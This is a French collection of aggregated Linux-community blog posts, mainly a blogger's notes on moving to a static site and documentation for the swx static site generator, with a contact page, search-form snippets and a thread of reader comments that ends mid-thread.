<blockquote><p>En mai 1996, Richard M. Stallman sort la version 19.31 d’Emacs, changeant le système cible « Linux » en « Lignux », en arguant qu’il donne ainsi sa pleine légitimité au projet GNU, d’où découlent les termes « système Linux basé sur GNU », « système GNU/Linux » ou « Lignux » se référant à la combinaison du noyau Linux et le système GNU. Richard M. Stallman arrêta finalement d’utiliser le terme « Lignux » pour ne plus utiliser que celui de « GNU/Linux ».</p></blockquote>
<p>C’est dingue ce qu’on apprend sur le net, enfin quand on cherche à <a href="https://www.blog-libre.org/2018/04/29/apprendre-comprendre/" rel="noopener" target="_blank">apprendre</a>… Je trouve Lignux bien plus pertinent que GNU/Linux, plus simple à écrire, indissociable, mieux associé et imbriqué. Si j’avais su.</p>
<p>La majorité du temps, j’essaie de mettre GNU/Linux. Je suis seulement convaincu qu’une majorité de distribs doit autant au projet Linux qu’au projet GNU et qu’on a tendance à minimiser voire oublier le second. Simple question de respect et de responsabilité. Je n’irai pas ennuyer les gens car ils disent Linux, c’est la liberté de chacun d’utiliser le mot qu’il souhaite.</p>
<p>Voilà pourquoi vous ne me verrez plus utiliser le mot GNU/Linux mais <strong>Lignux</strong> ha ha ha !</p>
<p><img src="media/18870686.gnu.jpeg" data-original-source="https://www.blog-libre.org/wp-content/uploads/2018/05/gnu.jpeg" alt="" srcset="https://www.blog-libre.org/wp-content/uploads/2018/05/gnu.jpeg 500w, https://www.blog-libre.org/wp-content/uploads/2018/05/gnu-276x300.jpeg 276w" sizes="(max-width: 500px) 85vw, 500px"></p>
<p><img src="media/25c7216e.1ea6f31074367d57d77721240d30fda9" data-original-source="http://cdn.libravatar.org/avatar/1ea6f31074367d57d77721240d30fda9" alt="Gravatar de blog-libre" class="gravatar" /><br/><i>Original post of <a href="https://www.blog-libre.org/2018/05/26/lignux/" title="Visit the source">blog-libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/index.html
title: Thuban : Bienvenue sur mon blog
uri: Thuban-Bienvenue-sur-mon-blog
url: https://yeuxdelibad.net/Journal/index.html
content:
<h1>Bienvenue sur mon blog</h1>

<p>Cette section du site fait office de blog.
Si vous ne voulez pas manquer une information, abonnez-vous au
<a href="https://yeuxdelibad.net/atom.xml">flux atom</a>.</p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/index.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/05/Blog_statique_bye_Blogotext.html
title: Thuban : Blog statique, bye bye Blogotext
uri: Thuban-Blog-statique-bye-bye-Blogotext
url: https://yeuxdelibad.net/Journal/2018/05/Blog_statique_bye_Blogotext.html
content:
<h1> Blog statique, bye bye Blogotext</h1>

<p>Après 8 ans d'existence, mon blog sera désormais “statique” et disponible à l'adresse
<a href="https://yeuxdelibad.net/Journal">https://yeuxdelibad.net/Journal</a>.
Vous pouvez en suivre les nouveautés avec n'importe quel lecteur de flux
grâce au <a href="https://yeuxdelibad.net/atom.xml">flux atom</a>.</p>

<p>Ce “déménagement” a lieu pour plusieurs raisons :</p>

<ul><li>Besoin de changement et de simplicité.</li>
<li>Envie de rapidité.</li>
<li>Le développement de Blogotext est au ralenti, j'avais besoin de
m'occuper.</li>
<li>Blogotext me servait avant tout pour les commentaires. Vu la teneur
des messages, un lien pour m'envoyer un mail sera suffisant,
j'ajouterai les liens à la main. Si c'est trop contraignant, rien ne
m'empêche d'ajouter <a href="http://tildehash.com/?page=hashover">Hashover</a>.</li>
<li>C'est censé me forcer à publier moins
impulsivement.</li>
</ul><p>J'aime toujours autant
<a href="https://github.com/BlogoText/blogotext">Blogotext</a> et continue de
l'utiliser sur d'autres blogs. Mais avoir un site statique présente des
avantages certains :</p>

<ul><li>C'est vachement plus rapide.</li>
<li>J'utilise les outils d'édition que je veux, et organise mes documents
tranquilou.</li>
<li>Niveau sécurité, on peut difficilement faire plus sûr sans PHP.</li>
<li>La gestion des commentaires “spam” est encore plus simple. Quoi que,
il faut l'avouer, j'ai dû être embêté 5 fois maximum en 8 ans de
blog…</li>
<li>J'aime l'idée de la simplicité.</li>
</ul><p>Ça m'a permis de remettre le nez dans le code de swx, le générateur de
site statique, mais j'en reparlerai dans un autre billet.</p>

<p>Grâce à Blogotext, j'ai pu exporter tous mes articles et commentaires au
format json. Après un peu de bidouille en python, j'ai pu recréer tout
le contenu afin de faciliter les redirections de l'ancien blog vers le
nouveau.</p>

<p>Ensuite, un peu de CSS pour l'apparence, du javascript pour rigoler et
ça suffira bien.</p>

<p>Pour ceux qui veulent continuer à lire mes bafouilles, n'oubliez pas de
vous abonner au nouveau <a href="https://yeuxdelibad.net/atom.xml">flux atom</a>.</p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/05/Blog_statique_bye_Blogotext.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Programmation/swx_en.html
title: Thuban : swx - static site generator
uri: Thuban-swx-static-site-generator
url: https://yeuxdelibad.net/Programmation/swx_en.html
content:
<h1>swx - static site generator</h1>

<p><strong>swx is now here : <a href="https://3hg.fr/Scripts/swx">swx</a>.</strong></p>

<p><a href="https://yeuxdelibad.net/Programmation/swx.html">This page in french</a></p>

<p>swx is a tool to generate a static website from a file tree written in
[markdown <a href="http://daringfi%0Areball.net/projects/markdown/syntax">http://daringfireball.net/projects/markdown/syntax</a>], [txt2tags
<a href="http://txt2tags.org/">http://txt2tags.org/</a>] or any other markup language.</p>

<p>It does'nt require any other tool except usal commands (cp, sed…) and the
markup parser.</p>

<p>Inspired by <a href="https://github.com/jroimartin/sw">sw</a>, swx will generate you html
pages, create links between them in a menu. You cas use simple css and
templates that will be included in your pages.</p>

<h2>Features</h2>

<ul><li>Convert markdown to html</li>
<li>Add menu between pages</li>
<li>Ignore some files in a blacklist</li>
<li>Generate a rss feed : see swx_rss</li>
<li>Generate a blog page. For comments, use [Hashover <a href="http://tildehash.com/?page=hashover">http://tildehash.com/?page=hashover</a>] or Disqus.</li>
<li>Generate a site map see swx_plan</li>
<li>Generate a sitemap for web indexers see swx_sitemap</li>
<li>Use a Makefile to simplify the site generation see Makefile</li>
</ul><p>Example : source tree</p>

<pre><code>/home/user/site/
    |style.css
    |--------------directory/
    |-----------------------index.md
    |-----------------------file1.md
    |-----------------------image.jpg
    |--------------directory2/
    |-----------------------index.t2t
    |-----------------------article.md
</code></pre>

<p>will become in output</p>

<pre><code>/home/user/site.static/
    |style.css
    |--------------directory/
    |-----------------------index.html
    |-----------------------file1.html
    |-----------------------image.jpg
    |--------------directory2/
    |-----------------------index.html
    |-----------------------article.html
</code></pre>

<h2>Install</h2>

<p>Download files here <a href="http://dev.yeuxdelibad.net/swx/">here</a></p>

<h2>Using</h2>

<p>Simple run :</p>

<pre><code>./swx directory_containing_website
</code></pre>

<p>then, push you site the way you prefer with mercurial, git, rsync or even ftp</p>

<h2>Configuration</h2>

<p>To configure, edit swx.conf</p>

<p>You can change uppercase variables to fit your needs</p>

<ul><li><code>BL</code> : blacklist, the files that won’t be in the menu</li>
<li><code>CONVERTER</code> : tool to convert sources . Pour txt2tags : <code>CONVERTER='txt2tags -t html -o- --no-headers'</code>.</li>
<li><code>EXT=".md"</code> : extension of files to convert</li>
<li><code>FOOTER</code> : what you want in footer</li>
<li><code>HEADER</code> : what you want in header</li>
<li><code>TOPTEMPLATE</code> : this will be included before the text of your pages Note that the default config file allows you to have a link to the to of the page.</li>
<li><code>BOTTOMTEMPLATE</code> : text included between your text and footer.</li>
</ul><p>Modyfy how your site looks with style.css</p>

<h3>Example</h3>

<pre><code>mkdir dossier
cd dossier
wget http://dev.yeuxdelibad.net/swx.tgz
tar xvzf swx.tgz
mkdir monsite
vim monsite/index.md
vim monsite/page1.md
mkdir monsite/dossier1
vim monsite/dossier1/index.md
./swx/swx monsite 
</code></pre>

<p>Appears <code>monsite.static</code> containing every pages converted to html and a new
file <code>swx.log</code> containing the list of news pages (used later)</p>

<h3>RSS feed</h3>

<p>Use <code>swx_rss</code> to generate feed.xml</p>

<pre><code>./swx_rss > DESTDIR/feed.xml
</code></pre>

<p>Replace <code>DESTDIR</code> the path to the output directory</p>

<h3>Site map</h3>

<p>Generate a list of pages in your site with</p>

<pre><code>    ./swx_plan DESTDIR > DESTDIR/Divers/map.html
</code></pre>

<p>And replace of course : <code>DESTDIR</code></p>

<h3>Sitemap generator</h3>

<pre><code>    ./swx_sitemap DESTDIR > DESTDIR/sitemap.xml
</code></pre>

<p>Then, you can compress it :</p>

<pre><code>    gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz
</code></pre>

<p>Don’t forget to edit robots.txt</p>

<pre><code>User-agent: *
Disallow:
Sitemap: http://votredomaine.net/sitemap.gz
</code></pre>

<h3>Makefile</h3>

<p>Example Makefile to edit to fit your needs:</p>

<pre><code>SOURCEDIR=$(CURDIR)/example
DESTDIR=$(CURDIR)/example.static
all:
    ./swx $(SOURCEDIR)
    ./swx_gopher $(SOURCEDIR)
    ./swx_sitemap  $(DESTDIR) > $(DESTDIR)/sitemap.xml
    gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz
    ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html
    ./swx_rss > $(DESTDIR)/feed.xml
    ./swx_blog $(DESTDIR)/index.html
clean:
    rm -rf *.static
    rm swx.log
force:
    find Rendez-vous_sur_Arrakis -exec touch {} \\;
    make all
serve:
    cd $(DESTDIR) &amp;&amp; python3 -m http.server &amp;&amp; x-www-browser http://localhost:8000
</code></pre>

<p>Then, just run :</p>

<ul><li><code>make</code> : build/update your site</li>
<li><code>make clean</code> : Delete the site</li>
<li><code>make force</code> : Force rebuild, event non-recent files</li>
<li><code>make serve</code> : test site (python required) at <a href="http://localhost:8000/">http://localhost:8000</a></li>
</ul><h2>The end</h2>

<p>Most of script can be improved, and simplified.</p>

<p>Avoid weird file names (use <code>detox</code>!)</p>

<p>Do not hesitate to contact me for any suggestion <a href="https://yeuxdelibad.net/Divers/Contact.html">here</a></p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Programmation/swx_en.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Programmation/swx.html
title: Thuban : swx - générateur de site statique
uri: Thuban-swx-générateur-de-site-statique
url: https://yeuxdelibad.net/Programmation/swx.html
content:
<h1>swx - générateur de site statique</h1>

<p><strong>swx est maintenant maintenu par le collectif 3hg :</strong> <strong><a href="https://3hg.fr/Scripts/swx">nouvelle page pour swx</a>.</strong></p>

<p><a href="https://yeuxdelibad.net/Programmation/swx_en.html">This page in english</a></p>

<p>swx permet de créer un site statique à partir d'une arborescence de fichiers
écrits au format <a href="http://txt2tags.org/">txt2tags</a> ou
<a href="http://daringfireball.net/projects/markdown/syntax">markdown</a>. Notez
toutefois que n'importe quel autre convertisseur et langage markup, (pandoc…)
peut être utilisé.</p>

<p>Mis à part ce convertisseur, aucun outil spécial n'est nécessaire, on
n'utilise que les commandes de base du système (sed, cut, echo…)</p>

<p>Il s'agit en fait d'un kit de scripts qui ont pour chacun une tâche précise.
“Diviser pour mieux régner” qu'ils disaient… Au moins, chaque script fait son
boulot, et le fait bien.</p>

<p>Inspiré par <a href="https://github.com/jroimartin/sw">sw</a>, swx générera vos pages
html, créera des liens entre elles sous forme de menu, et au lieu d'utiliser
des modèles avec jinja, vous pouvez utiliser des simples feuilles de style css
et préciser au script des morceaux de html que vous voudriez voir dans chaque
page.</p>

<p><img src="media/afd04fbf.swx.gif" data-original-source="https://yeuxdelibad.net/Images/swx.gif" alt=""></p>

<h2>Fonctionnalités</h2>

<ul><li>Clone de la structure d'un site</li>
<li>Conversion des fichiers markdown, txt2tags en html</li>
<li>Ajout d'un menu de navigation entre les pages</li>
<li>Ajout des nouvelles pages à la première page du site</li>
<li>Peut ignorer des fichiers d'une liste définie dans le fichier de configuration</li>
<li>Création d'un flux rss : voir swx_rss</li>
<li>Création d'un page de blog : voir swx_blog. Pour les commentaires, utilisez [Hashover <a href="http://tildehash.com/?page=hashover">http://tildehash.com/?page=hashover</a> ] ou Disqus.</li>
<li>Génération d'un “plan de site” listant tout ce qui y est disponible. voir swx_plan</li>
<li>Génération d'un “plan de site” lisible par les robots (pour l'indexation des moteurs de recherche) voir swx_sitemap</li>
<li>Utiliser un Makefile pour simplifier la génération du site voir Makefile</li>
</ul><p>Exemple : Si votre répertoire source est ainsi :</p>

<pre><code>/home/user/site/
    |style.css
    |--------------directory/
    |-----------------------index.md
    |-----------------------file1.md
    |-----------------------image.jpg
    |--------------directory2/
    |-----------------------index.t2t
    |-----------------------article.md
</code></pre>

<p>Il deviendra en sortie</p>

<pre><code>/home/user/site.static/
    |style.css
    |--------------directory/
    |-----------------------index.html
    |-----------------------file1.html
    |-----------------------image.jpg
    |--------------directory2/
    |-----------------------index.html
    |-----------------------article.html
</code></pre>

<h2>Installation</h2>

<p>Téléchargez tous les fichiers présents <a href="http://dev.yeuxdelibad.net/swx/">ici</a></p>

<p>Installez de quoi traiter votre langage markup (markdown, discount, txt2tags…)</p>

<h2>Utilisation</h2>

<p>Le script se lance simplement ainsi, dans le répertoire qui contient le
dossier contenant votre site :</p>

<pre><code>./swx repertoire_contenant_le_site
</code></pre>

<p>Ensuite, libre à vous de copier votre site ou le mettre à jour de la façon que
vous préférez</p>

<ul><li>Gestionnaire de versions (mercurial, git)</li>
<li>rsync (avec l'option -c pour n'uploader que les modifications)</li>
<li>ftp</li>
</ul><h2>Configuration</h2>

<p>La configuration se déroule dans le fichier swx.conf</p>

<p>Vous pouvez modifier le contenu des variables (en majuscule) pour définir:</p>

<ul><li>Le titre de votre site (<code>TITLE</code>) et le sous-titre (<code>SUBTITLE</code>)</li>
<li>L'adresse du site dans <code>HOSTNAME</code></li>
<li>Des fichiers à ne pas lister dans le menu (<code>BL</code>)</li>
<li><code>CONVERTER</code> : Le programme qui servira à convertir vos fichiers source . Pour txt2tags : <code>CONVERTER='txt2tags -t html -o- --no-headers'</code>.</li>
<li>L'extension des fichier à convertir (défaut : EXT=“.md”).</li>
<li><code>FOOTER</code> : le contenu que vous voulez en pied de page</li>
<li><code>HEADER</code> : le contenu souhaité en en-tête de page (favicon, auteur, feuille de style style.css…)</li>
<li><code>TOPTEMPLATE</code> : ce qu'il y aura avant vos textes. Notez que le fichier de configuration par défaut permet d'avoir un lien vers le haut de la page.</li>
<li><code>BOTTOMTEMPLATE</code> : ce qu'il y aura après vos textes</li>
</ul><p>Vous pouvez définir l'apparence souhaitée en modifiant le fichier style.css.
Un exemple est fourni avec swx.</p>

<h3>Exemple d'utilisation</h3>

<p>C'est parti, voyons en quelques étapes comment utiliser toutes les
fonctionnalités de swx.</p>

<p>Tout d'abord, on va créer un dossier pour pouvoir travailler :</p>

<pre><code>mkdir dossier
cd dossier
</code></pre>

<p>On télécharge swx, on le décompresse :</p>

<pre><code>wget http://dev.yeuxdelibad.net/swx.tgz
tar xvzf swx.tgz
</code></pre>

<p>On crée un nouveau dossier qui contiendra notre site, puis on y crée quelques
pages</p>

<pre><code>mkdir monsite
vim monsite/index.md
vim monsite/page1.md
mkdir monsite/dossier1
vim monsite/dossier1/index.md
</code></pre>

<p>On génère une première fois notre site :</p>

<pre><code>./swx monsite 
</code></pre>

<p>Apparaît alors un dossier <code>monsite.static</code> qui contient toutes les pages
converties en html, et un nouveau fichier <code>swx.log</code> qui contient la liste des
nouvelles pages (ça nous servira plus tard).</p>

<h3>Ajout d'un flux rss</h3>

<p>Pour ajouter un flux rss, on va créer un fichier feed.xml à la racine du site.</p>

<p>On utilise le script <code>swx_rss</code> fournit avec swx ainsi :</p>

<pre><code>./swx_rss > DESTDIR/feed.xml
</code></pre>

<p>Remplacez <code>DESTDIR</code> par le dossier qui contiendra le site. Dans notre exemple,
c'est <code>monsite.static</code></p>

<h3>Ajout d'un page type blog</h3>

<p>Vous pouvez créer une page de type blog, contenant les articles récents. Il
faut lancer :</p>

<pre><code>./swx_blog DESTDIR/page.html
</code></pre>

<p>Si le fichier <code>page.html</code> contient “%%%BLOG%%%” (ou ce que vous aurez définit
dans la configuration), alors cette ligne sera remplacée par la liste des
articles récents.</p>

<h3>Ajout d'une page de plan de site</h3>

<p>Pour générer un plan de votre site que les visiteurs pourront utiliser afin de
le parcourir, vous pouvez utiliser le script <code>swx_plan</code> fournit avec swx.</p>

<p>Pour l'utiliser :</p>

<pre><code>    ./swx_plan DESTDIR > DESTDIR/Divers/Plan_du_site.html
</code></pre>

<p>Remplacez <code>DESTDIR</code> par le dossier qui contiendra le site. Dans notre exemple,
c'est <code>monsite.static</code></p>

<p>N'hésitez pas à éditer le script pour modifier l'apparence de la page générée.
Il utilise par défaut le style.css de votre site.</p>

<h3>Ajout d'une page de plan de site lisible par les robots</h3>

<p>Tout simplement, pour créer un sitemap lisible par les moteurs de recherche :</p>

<pre><code>    ./swx_sitemap DESTDIR http://yoursite.com > DESTDIR/sitemap.xml
</code></pre>

<p>Que vous pouvez compresser ensuite ainsi :</p>

<pre><code>    gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz
</code></pre>

<p>N'oubliez pas de rajouter dans le fichier robots.txt ceci :</p>

<pre><code>User-agent: *
Disallow:
Sitemap: http://votredomaine.net/sitemap.gz
</code></pre>

<h3>Automatiser le tout</h3>

<p>Vous pouvez soit utiliser un script appelant les commandes précédentes, ou
bien un fichier Makefile, qui vous permettra de faire tout ça avec simplement
la commande make.</p>

<p>Exemple de fichier Makefile, à adapter selon le chemin de vos fichiers
(variables DESTDIR, SOURCEDIR, et le nom du dossier contenant le site (ici
Rendez-vous_sur_Arrakis)) :</p>

<pre><code>SOURCEDIR=$(CURDIR)/example
DESTDIR=$(CURDIR)/example.static
all:
    ./swx $(SOURCEDIR)
    ./swx_gopher $(SOURCEDIR)
    ./swx_sitemap  $(DESTDIR) > $(DESTDIR)/sitemap.xml
    gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz
    ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html
    ./swx_rss > $(DESTDIR)/feed.xml
    ./swx_blog $(DESTDIR)/index.html
clean:
    rm -rf *.static
    rm swx.log
force:
    find Rendez-vous_sur_Arrakis -exec touch {} \\;
    make all
serve:
    cd $(DESTDIR) &amp;&amp; python3 -m http.server &amp;&amp; x-www-browser http://localhost:8000
</code></pre>

<p>Voici ce que vous pourrez faire avec ce fichier présent dans votre dossier
contenant swx :</p>

<ul><li><code>make</code> : fabrique/met à jour votre site</li>
<li><code>make clean</code> : supprime votre site</li>
<li><code>make force</code> : force la refabrication du site, même si certaines pages ne sont pas détectées comme récentes.</li>
<li><code>make serve</code> : permet de tester votre site localement. Allez sur votre navigateur à la page <a href="http://localhost:8000/">http://localhost:8000</a></li>
</ul><h2>Pourquoi un autre générateur de site statique?</h2>

<p>Bonne question. Ceux qui ont suivi ont pu voir que j'avais écrit auparavant
pwg . Cependant il était mal fichu : tout dans un seul fichier, du coup dès
que je voulais modifier quelque chose j'étais contraint de me replonger dans
le code. C'était vraiment pas facile à maintenir. De plus, le python me
limitait au <a href="http://daringfireball.net/projects/markdown/syntax">markdown</a></p>

<p>Mais qu'en est-il des autres générateurs de site statiques? Ben oui, pour ne
citer que les plus connus <a href="http://blog.getpelican.com/">pelican</a>,
<a href="https://github.com/jekyll/jekyll/wiki">jekyll</a>… À mon goût, ils faisaient
bien trop de choses. Pour déployer un site, il m'aurait fallu reprendre toutes
mes pages, y ajouter des tags, reprendre les templates du site…</p>

<h2>Le mot de la fin</h2>

<p>Évitez les fichiers avec des noms bizarres, des espaces… Pour vous en
débarrasser, pensez à la commande <code>detox</code> (paquet debian du même nom)</p>

<p>Si vous souhaitez contribuer, <a href="https://yeuxdelibad.net/Divers/Contact.html">suffit de demander</a></p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Programmation/swx.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Divers/Contact.html
title: Thuban : Encouragements et Contact
uri: Thuban-Encouragements-et-Contact
url: https://yeuxdelibad.net/Divers/Contact.html
content:
<h1>Encouragements et Contact</h1>

<h2>Encouragements</h2>

<p><a name="#encouragements"></a></p>

<p>Ce site vous plaît? Vous voulez m'encourager? Comment me soutenir?</p>

<ul><li>Vous pouvez passer par <a href="https://liberapay.com/thuban/donate">liberapay</a> :  <a href="https://liberapay.com/thuban/donate"><img src="media/66ba8a3b.donate.svg" data-original-source="https://liberapay.com/assets/widgets/donate.svg" alt=""></a></li>
<li>Réaliser un virement bancaire. Cette solution est sans frais et ne passe pas par un service tiers. <a href="mailto:thuban@yeuxdelibad.net">Envoyez un courriel</a> pour demander mes coordonnées.</li>
<li>En envoyant votre recette favorite, un livre que vous avez bien aimé, ou un simple merci à <a href="mailto:thuban@yeuxdelibad.net">cette adresse</a>. À votre imagination de choisir ☺.</li>
<li>Vous trouverez une liste d'envies <a href="https://yeuxdelibad.net/Divers/ma_liste.html">ici</a>.</li>
</ul><h2>Contact</h2>

<ul><li><img src="media/7630a2bf.mail-button.jpg" data-original-source="https://yeuxdelibad.net/Images/buttons/mail-button.jpg" alt=""> : <a href="mailto:thuban@yeuxdelibad.net">M'écrire un courriel</a>. Vous trouverez <a href="https://yeuxdelibad.net/thuban.pub">ma clé publique gpg ici (0X31E493B37EF9F166)</a>. Son empreinte est <code>556A 2F84 7E43 D36B 3088 1B69 31E4 93B3 7EF9 F166</code>. N'hésitez donc pas à <a href="https://emailselfdefense.fsf.org/fr/index.html">chiffrer vos messages</a>.</li>
<li><a href="https://yeuxdelibad.net/Blog">Sur le blog de ce site</a>.</li>
<li>Sur <a href="https://framagit.org/Thuban">framagit</a>.</li>
<li>Sur <a href="https://github.com/B4rb3rouss/blogotext">github</a> en tant que B4rb3rouss.</li>
<li>Sur <a href="https://framapiaf.org/@thuban">framapiaf</a></li>
<li><a href="https://www.fsf.org/facebook">Mais pas sur Facebook</a>.</li>
</ul><h2>À propos</h2>

<p><a href="http://creativecommons.org/licenses/by-sa/4.0/"><img src="media/ba084b72.88x31.png" data-original-source="https://i.creativecommons.org/l/by-%0Asa/4.0/88x31.png" alt="Licence Creative Commons"></a></p>

<p>Rendez-vous sur Arrakis de <a href="http://yeuxdelibad.net/">Xavier Cartron</a> est mis à
disposition selon les termes de la <a href="http://creativecommons.org/licenses/by-sa/4.0/">licence Creative Commons Attribution -
Partage dans les Mêmes Conditions 4.0
International</a>.</p>

<p>Fondé(e) sur une œuvre à <a href="http://yeuxdelibad.net/">http://yeuxdelibad.net</a>.</p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Divers/Contact.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/25/formulaire-de-recherche-sur-votre-site.html
title: Thuban : Formulaire de recherche sur votre site
uri: Thuban-Formulaire-de-recherche-sur-votre-site
url: https://yeuxdelibad.net/Journal/2018/04/25/formulaire-de-recherche-sur-votre-site.html
content:
<h1>Formulaire de recherche sur votre site</h1>

<p>Si vous souhaitez ajouter un formulaire de recherche sur votre site, vous pouvez insérer le code html suivant :</p>




<p>Avec duckduckgo :</p>




<pre><code><form action="https://duckduckgo.com/" method="get">   <label for="q">Cherche sur votresite.tld</label>  <input type="text" name="q" value="">   <input type="hidden" name="sites" value="votresite.tld">    <input type="hidden" name="ia" value="web"> <input type="submit" value="search"></form></code></pre>




<p>Avec qwant :</p>




<pre><code><form method="GET" action="https://www.qwant.com" id="form" onsubmit="addSiteSearch()"><label for=q >Chercher sur votresite.tld</label><input type="text" name="q" id="query" size="31" maxlength="255" value=""><input type="hidden" name="l" value="fr"><input type="submit" name="btnG" value="?"></form><script type="text/javascript">        function encodeHTML(s) {        return s.replace(/&amp;/g, '&amp;').replace(/</g, '<').replace(/"/g, '"');}        function addSiteSearch() {        document.getElementById('query').value = encodeHTML(document.getElementById('query').value) + " site:votresite.tld";}</script></code></pre>




<p>Dans chaque exemple, pensez à modifier le champ "votresite.tld".</p>




<p>Le formulaire de qwant nécessite l'activation de javascript... Ce n'est pas du code exotique, mais ça peut en chagriner certains.</p>




<p>À vous ;)</p>


<div></div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/25/formulaire-de-recherche-sur-votre-site.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/23/que-cest-lent.html
title: Thuban : Que c'est lent...
uri: Thuban-Que-c-est-lent
url: https://yeuxdelibad.net/Journal/2018/04/23/que-cest-lent.html
content:
<h1>Que c'est lent…</h1>

<p>Depuis le déménagement de ma ligne, l'accès à mon serveur est particulièrement lent... Et j'en suis désolé :s</p>




<p>Dans ma nouvelle rue, les lignes téléphoniques sont suspendues à des poteaux en bois... C'est dire l'âge qu'elles ont... <br>Voici les caractéristiques de mon accès :</p>




<ul><li> Synchronisation : ↓ 608 Kbps ; ↑ 160 Kbps</li><li> Atténuation : 68.0586 dB</li><li> Distance du NRA : 6462 mètres</li><li> Type de câble : 6mm : 6462m</li></ul><p>Le NRA est loin, l'atténuation grande, le temps de réponse s'en ressent. :/<br>En attendant, j'ai contacté mon FAI à ce sujet, mais je crains qu'ils ne puissent pas y faire grand chose...</p>




<p>Normalement, la <a href="http://www.ville-coueron.fr/projets-de-ville,412/grands-travaux,425/deploiement-de-la-fibre-optique,802.html">fibre doit être déployée au cours de l'année</a> dans ma commune... J'espère !</p>


<div>
<div><h4>le 25/04/2018 à 05:29:09, <b>Mirabellette</b> a dit :</h4>
<p>Pas facile l'autohébergement dans un patelin :D</p>

</div>

<div><h4>le 26/04/2018 à 09:55:55, <b>paskal</b> a dit :</h4>
<p>Et oui, qualité de vie ne rime pas forcément avec haut-débit...<br>J'éviterai donc de charger cinq pages à la fois, promis !<br>Et puis, profiter d'un site aussi agréable se mérite. :)</p>

</div>

<div><h4>le 28/04/2018 à 14:10:05, <b>arpinux</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id158d08">paskal</a> :</b> vrai que ça ajoute un petit suspens à chaque consultation du site :P</p>

</div>

<div><h4>le 29/04/2018 à 07:34:20, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id027634">arpinux</a> :</b> <br><b>@<a href="https://yeuxdelibad.net/#id158d08">paskal</a> :</b> <br>Ah les coquiins 😜</p>

</div>

<div><h4>le 01/05/2018 à 13:46:00, <b>donguid</b> a dit :</h4>
<p>J'ai connu le cas dans le sud ouest: le département fibrait à tout va ... entre les NRA. Etant à 5900 m du mien, j'avais la chance d'avoir du 511 alors que certains voisins n'avaient rien (le multiplexage et l'adsl ne sont pas copains). 511, cad la techno d'avant le 512 : j'avais repéré le fil sur le poteau qui m'amenait internet, car un jour un camion a défoncé ce câble, et plus rien. Une fois remis en place, du net. Et par temps de vent, ou lorsqu'un fichu piaf se posait sur ce câble, je constatais la baisse de débit ...</p>

<p>Sinon, de ton coin pas loin de Nantes, es tu passé voir le hackathon OpenBSD ? N'étant pas un dieu du C, je n'oserai pas approcher ce groupe de furieux ;-)</p>

</div>

<div><h4>le 01/05/2018 à 14:11:48, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#ida3de8e">donguid</a> :</b> Ça fibre dans le coin pourtant, ça devrait arriver dans l'année d'après les nouvelles de la mairie...</p>

<p>Et non, je n'ai pas eu l'occasion d'assister au hackaton. Moi non plus, je ne saurais pas participer, mais j'aurais été curieux de rencontrer ces furieux ;)</p>

</div>

<div><h4>le 05/05/2018 à 13:45:20, <b>utux</b> a dit :</h4>
<p>Loue un vps à 3€ par mois..</p>

</div>

<div><h4>le 05/05/2018 à 14:48:46, <b>thuban</b> a dit :</h4>
